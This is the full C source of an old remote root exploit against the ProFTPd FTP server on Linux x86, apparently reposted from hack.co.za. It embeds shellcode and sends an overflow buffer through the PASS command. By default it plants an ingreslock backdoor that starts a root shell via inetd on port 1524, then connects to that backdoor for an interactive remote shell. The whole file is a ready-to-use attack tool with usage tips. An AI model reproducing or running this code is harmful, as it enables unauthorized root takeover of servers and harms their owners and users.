/* * Copyright (c) 1999 anathema * All rights reserved. * * own-proftpd.c * ProFTPd remote root overflow (linux x86) * * This is *NOT* the overflow mentioned on Bugtraq, this is another * unpublished overflow within the ProFTPd code. * * Try an alignment value of 1 to start with: * despair:~# ./own-proftpd onyx -a 1 */ #include #include #include #include #include #include #include #include #include #include #include #include #define FTP_PORT 21 #define BIND_PORT 1500 #define BD_PORT 1524 #define ADDR 0xbffff424 #define RETPOS 932 char c0de[] = "\x29\xc0\x29\xdb\x29\xc9\xb0\x46\xcd\x80\xeb\x64\x5b\x89\xd9\x80\xc1\x0f\x39" "\xd9\x7c\x06\x80\x29\x04\x49\xeb\xf6\x29\xc0\x88\x43\x01\x88\x43\x08\x88\x43" "\x10\x87\xf3\xb0\x0c\x8d\x5e\x07\xcd\x80\xb0\x27\x8d\x1e\x29\xc9\xcd\x80\x29" "\xc0\xb0\x3d\xcd\x80\x29\xc0\xb0\x0c\x8d\x5e\x02\xcd\x80\x29\xc0\x88\x46\x03" "\xb0\x3d\x8d\x5e\x02\xcd\x80\x29\xc0\x8d\x5e\x09\x89\x5b\x08\x89\x43\x0c\x88" "\x43\x07\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\x29\xc0\x40\xcd\x80\xe8\x97" "\xff\xff\xff\xff\xff\xff\x45\x45\x32\x32\x33\x32\x32\x33\x45\x33\x66\x6d\x72" "\x33\x77\x6c"; u_long resolve_host(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; addr.s_addr = inet_addr(host_name); if (addr.s_addr == -1) { host_ent = gethostbyname(host_name); if (!host_ent) return(0); memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length); } return(addr.s_addr); } void bind_portz(int sock, u_char *cmd) { struct sockaddr_in sin; u_char tmp[4096]; int asock, lsock, flen = 16; asock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (asock == -1) { perror("socket allocation"); exit(-1); } sin.sin_family = AF_INET; sin.sin_port = htons(BIND_PORT); sin.sin_addr.s_addr = INADDR_ANY; if (bind(asock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("bind"); close(asock); exit(-1); } if (listen(asock, 10) == -1) { perror("listen"); close(asock); exit(-1); } lsock = accept(asock, (struct sockaddr *)&sin, &flen); if (lsock == -1) { perror("accept"); close(asock); exit(-1); } memset(tmp, 0, sizeof(tmp)); recv(lsock, tmp, sizeof(tmp), 0); close(asock); close(lsock); write(sock, cmd, strlen(cmd)); exit(0); } u_long getlocalip(void) { u_char host_name[1024]; u_long our_ip; memset(host_name, 0, sizeof(host_name)); if (gethostname(host_name, sizeof(host_name) - 1) == -1) { /* * Up to the caller to check for error. [2000]*/ return(0); } our_ip = resolve_host(host_name); /* * If an error has occurred, resolve_host() will return 0 anyway, * which is what the caller should be checking for. Just return. */ return(our_ip); } static u_char * port_data(void) { static u_char tmp[50]; struct in_addr addr; u_char input[25]; int i = 0; memset(input, 0, sizeof(input)); addr.s_addr = getlocalip(); if (!addr.s_addr) { fprintf(stderr, "Cannot get local IP address.\n"); exit(-1); } strncpy(input, inet_ntoa(addr), sizeof(input) - 1); memset(tmp, 0, sizeof(tmp)); for (; i < strlen(input); i++) { if (input[i] == '.') input[i] = ','; } strcpy(tmp, input); strcat(tmp, ",5,220"); return(tmp); } static u_char * overflow_buf(u_int align, u_int offset) { static u_char buf[4096]; u_long addr = ADDR + offset; u_int retpos = RETPOS + align; int i = 0, j = 0; memset(buf, 0x90, sizeof(buf)); for (i = retpos - strlen(c0de); i < retpos; j++, i++) { buf[i] = c0de[j]; } for (; i < (retpos + 75); i += 5) { buf[i+0] = (addr & 0xff); buf[i+1] = (addr >> 8) & 0xff; buf[i+2] = (addr >> 16) & 0xff; buf[i+3] = (addr >> 16) & 0xff; buf[i+4] = (addr >> 24) & 0xff; } buf[i] = 0; return(buf); } void get_data(int sock) { u_char tmp[4096]; memset(tmp, 0, sizeof(tmp)); recv(sock, tmp, sizeof(tmp), 0); fprintf(stderr, "%s", tmp); } void shellz(u_long dst_ip) { struct sockaddr_in sin; u_char sock_buf[4096]; fd_set fds; int sock; fprintf(stderr,"Waiting for command to execute..\n"); /* * If you don't pause here, the exploit may try to connect() before * the command has executed, and so get ECONNREFUSED. */ sleep(4); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { perror("socket allocation"); exit(-1); } sin.sin_family = AF_INET; sin.sin_port = htons(BD_PORT); sin.sin_addr.s_addr = dst_ip; if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("connecting to backdoor"); close(sock); exit(-1); } fprintf(stderr, "owned\n"); for (;;) { FD_ZERO(&fds); FD_SET(0, &fds); /* STDIN_FILENO */ FD_SET(sock, &fds); select(255, &fds, NULL, NULL, NULL); memset(sock_buf, 0, sizeof(sock_buf)); if (FD_ISSET(sock, &fds)) { if (recv(sock, sock_buf, sizeof(sock_buf), 0) == -1) { fprintf(stderr, "Connection closed by remote host.\n"); close(sock); exit(0); } fprintf(stderr, "%s", sock_buf); } if (FD_ISSET(0, &fds)) /* STDIN_FILENO */ { read(0, sock_buf, sizeof(sock_buf)); /* STDIN_FILENO */ write(sock, sock_buf, strlen(sock_buf)); } } /* NOTREACHED */ } void send_data(int sock, u_char *payload, ...) { u_char tmp[4096]; va_list list; memset(tmp, 0, sizeof(tmp)); va_start(list, payload); vsnprintf(tmp, sizeof(tmp), payload, list); write(sock, tmp, strlen(tmp)); va_end(list); get_data(sock); } void exploit(u_long dst_ip, u_short src_prt, u_short dst_prt, u_int align, u_int offset, int alt_cmd, u_char *exec_cmd, u_char *retr_file) { struct sockaddr_in sin; u_char buf[4096], pdata[50]; int sock; memset(pdata, 0, sizeof(pdata)); strncpy(pdata, port_data(), sizeof(pdata) - 1); memset(buf, 0, sizeof(buf)); strncpy(buf, overflow_buf(align, offset), sizeof(buf) - 1); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { perror("socket allocation"); exit(-1); } if (!fork()) bind_portz(sock, exec_cmd); if (src_prt) { struct sockaddr_in min; min.sin_family = AF_INET; min.sin_port = htons(src_prt); min.sin_addr.s_addr = INADDR_ANY; if (bind(sock, (struct sockaddr *)&min, sizeof(struct sockaddr)) == -1) { perror("bind"); close(sock); exit(-1); } } sin.sin_family = AF_INET; sin.sin_port = htons(FTP_PORT); sin.sin_addr.s_addr = dst_ip; if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("connecting to ftp daemon"); close(sock); exit(-1); } get_data(sock); send_data(sock, "USER anonymous\n"); send_data(sock, "PASS %s\n", buf); send_data(sock, "PORT %s\n", pdata); send_data(sock, "RETR %s\n", retr_file); if (!alt_cmd) { shellz(dst_ip); /* NOTREACHED */ } sleep(2); fprintf(stderr, "Completed.\n"); exit(0); } void usage(u_char *nomenclature) { fprintf(stderr, "No.\nusage:\t%s dst_host|ip [ -s src_prt ] [ -d dst_prt ]\n" "\t[ -a align ] [ -o offset ] [ -c alt_cmd ] [ -f alt_file ]\n", nomenclature); exit(-1); } int main(int argc, char **argv) { u_long dst_ip = 0; u_short src_prt = 0, dst_prt = FTP_PORT; u_int align = 0, offset = 0; u_char cmd[255], retr_file[255]; int opt = 0, alt_cmd = 0, alt_file = 0; fprintf(stderr, "ProFTPd remote root exploit\n" "Copyright (c) anathema \n"); if (argc < 2) { usage(argv[0]); /* NOTREACHED */ } dst_ip = resolve_host(argv[1]); if (!dst_ip) { fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]); exit(-1); } while ((opt = getopt(argc, argv, "s:d:a:o:c:f:")) != EOF) { switch(opt) { case 's': src_prt = (u_short)atoi(optarg); break; case 'd': dst_prt = (u_short)atoi(optarg); break; case 'a': align = (u_int)atoi(optarg); break; case 'o': offset = (u_int)atoi(optarg); break; case 'c': snprintf(cmd, sizeof(cmd), "\n%s\n", optarg); alt_cmd = 1; break; case 'f': strncpy(retr_file, optarg, sizeof(retr_file) - 1); alt_file = 1; break; default: usage(argv[0]); /* NOTREACHED */ } } if (src_prt < 1024) { /* * If the user wants to specify a privileged source port, s/he * must be root, otherwise bind() will bail with EACCES. [2000]*/ if (getuid() && geteuid()) { fprintf(stderr, "Insufficient privilegez (uid|euid == 0)\n"); exit(-1); } } if (!alt_cmd) { /* * The user hasn't specified an alternative command to run. * Use the default of an ingreslock backdoor. If this is used, * the exploit will automatically connect to it, dropping the * user into a remote shell. [2000]*/ strcpy(cmd, "\necho \"ingreslock stream tcp nowait root /bin/sh sh -i\" >/tmp/x; /usr/sbin/inetd /tmp/x\n"); } if (!alt_file) { /* * No file to RETR(ieve) specified, use a reasonable default. [2000]*/ strcpy(retr_file, "welcome.msg"); } exploit(dst_ip, src_prt, dst_prt, align, offset, alt_cmd, cmd, retr_file); /* NOTREACHED */ } /* www.hack.co.za [2000]*/